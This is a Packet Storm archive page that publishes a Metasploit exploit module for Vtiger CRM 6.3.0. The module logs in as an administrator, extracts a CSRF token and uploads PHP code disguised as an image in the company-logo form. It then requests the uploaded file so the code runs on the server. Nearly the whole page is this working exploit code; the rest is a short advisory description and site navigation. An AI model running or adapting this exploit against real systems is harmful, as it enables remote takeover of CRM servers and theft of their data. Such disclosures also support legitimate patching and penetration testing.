what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Vtiger CRM 6.3.0 Authenticated Logo Upload Remote Command Execution

Vtiger CRM 6.3.0 Authenticated Logo Upload Remote Command Execution
Posted Jul 30, 2018
Authored by Benjamin Daniel Mussler, Touhid M.Shaikh | Site metasploit.com

Vtiger version 6.3.0 CRM's administration interface allows for the upload of a company logo. Instead of uploading an image, an attacker may choose to upload a file containing PHP code and run this code by accessing the resulting PHP file. This Metasploit module was tested against vTiger CRM version 6.3.0.

tags | exploit, php
advisories | CVE-2015-6000, CVE-2016-1713
SHA-256 | 0e5c78b52a8faacfdb2de57265661b6c719a85c4847298f55630458f64d9b2ed

Vtiger CRM 6.3.0 Authenticated Logo Upload Remote Command Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'Vtiger CRM - Authenticated Logo Upload RCE',
'Description' => %q{
Vtiger 6.3.0 CRM's administration interface allows for the upload of a company logo.
Instead of uploading an image, an attacker may choose to upload a file containing PHP code and
run this code by accessing the resulting PHP file.

This module was tested against vTiger CRM v6.3.0.
},
'Author' =>
[
'Benjamin Daniel Mussler', # Discoverys
'Touhid M.Shaikh <touhidshaikh22@gmail.com>', # Metasploit Module
'SecureLayer7.net' # Metasploit Module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2015-6000'],
['CVE','2016-1713'],
['EDB', '38345']
],
'DefaultOptions' =>
{
'Encoder' => 'php/base64',
'RPORT' => 8888
},
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' =>
[
['vTiger CRM v6.3.0', {}],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Sep 28 2015'))

register_options(
[
OptString.new('TARGETURI', [ true, 'Base vTiger CRM directory path', '/']),
OptString.new('USERNAME', [ true, 'Username to authenticate with', 'admin']),
OptString.new('PASSWORD', [ true, 'Password to authenticate with', ''])
])

register_advanced_options(
[
OptBool.new('PHPSHORTTAG', [true, 'Use short open php tags around payload', true])
])
end

def check
res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'index.php') })

unless res
vprint_error("Unable to access the index.php file")
return CheckCode::Unknown
end

unless res.code == 200
vprint_error("Error accessing the index.php file")
return CheckCode::Unknown
end

if res.body =~ /<small> Powered by vtiger CRM (.*.0)<\/small>/i
vprint_status("vTiger CRM version: #{$1}")
if $1 == '6.3.0'
return CheckCode::Vulnerable
else
return CheckCode::Detected
end
end

CheckCode::Safe
end

# Login Function.
def login
# Dummy Request for grabbing CSRF token and PHPSESSION ID
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'index.php'),
'vhost' => "#{rhost}",
})

# Grabbing CSRF token from body
/var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body
fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil?
vprint_good("CSRF Token for login: #{csrf}")

# Get Login now.
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'vars_get' => {
'module' => 'Users',
'action' => 'Login',
},
'vars_post' => {
'__vtrftk' => csrf,
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
},
})

unless res
fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to Login request")
end

cookie = nil
if res.code == 302 && res.headers['Location'].include?("index.php?module=Users&parent=Settings&view=SystemSetup")
vprint_good("Authentication successful: #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'])
cookie = res.get_cookies.split[-1]
end

unless cookie
fail_with(Failure::UnexpectedReply, "#{peer} - Authentication Failed :[ #{datastore['USERNAME']}:#{datastore['PASSWORD']} ]")
end

cookie
end

def exploit
cookie = login
unless cookie
fail_with(Failure::UnexpectedReply, "#{peer} - Authentication Failed")
end

pay_name = rand_text_alpha(rand(5..10)) + ".php"

# Retrieve CSRF token
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'index.php'),
'vhost' => "#{rhost}",
'cookie' => cookie
})

# Grabbing CSRF token from body
/var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body
fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil?
vprint_good("CSRF Token for Form Upload: #{csrf}")

stager = datastore['PHPSHORTTAG'] ? '<? ' : '<?php '
stager << payload.encoded
stager << ' ?>'

# Setting Company Form data
post_data = Rex::MIME::Message.new
post_data.add_part(csrf, nil, nil, "form-data; name=\"__vtrftk\"") # CSRF token
post_data.add_part('Vtiger', nil, nil, "form-data; name=\"module\"")
post_data.add_part('Settings', nil, nil, "form-data; name=\"parent\"")
post_data.add_part('CompanyDetailsSave', nil, nil, "form-data; name=\"action\"")
post_data.add_part(stager, "image/jpeg", nil, "form-data; name=\"logo\"; filename=\"#{pay_name}\"")
post_data.add_part('vtiger', nil, nil, "form-data; name=\"organizationname\"")
data = post_data.to_s

print_status("Uploading payload: #{pay_name}")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'vhost' => "#{rhost}",
'cookie' => cookie,
'connection' => 'close',
'headers' => {
'Referer' => "http://#{peer}/index.php?parent=Settings&module=Vtiger&view=CompanyDetails",
'Upgrade-Insecure-Requests' => '1',
},
'data' => data,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
})

unless res && res.code == 302
fail_with(Failure::None, "#{peer} - File wasn't uploaded, aborting!")
end

# Cleanup file
register_files_for_cleanup(pay_name)

vprint_status("Executing Payload: #{peer}/test/logo/#{pay_name}" )
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "test", "logo", pay_name)
})

if res && res.code != 200
fail_with(Failure::UnexpectedReply, "#{peer} - Payload not executed")
end
end
end
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    16 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close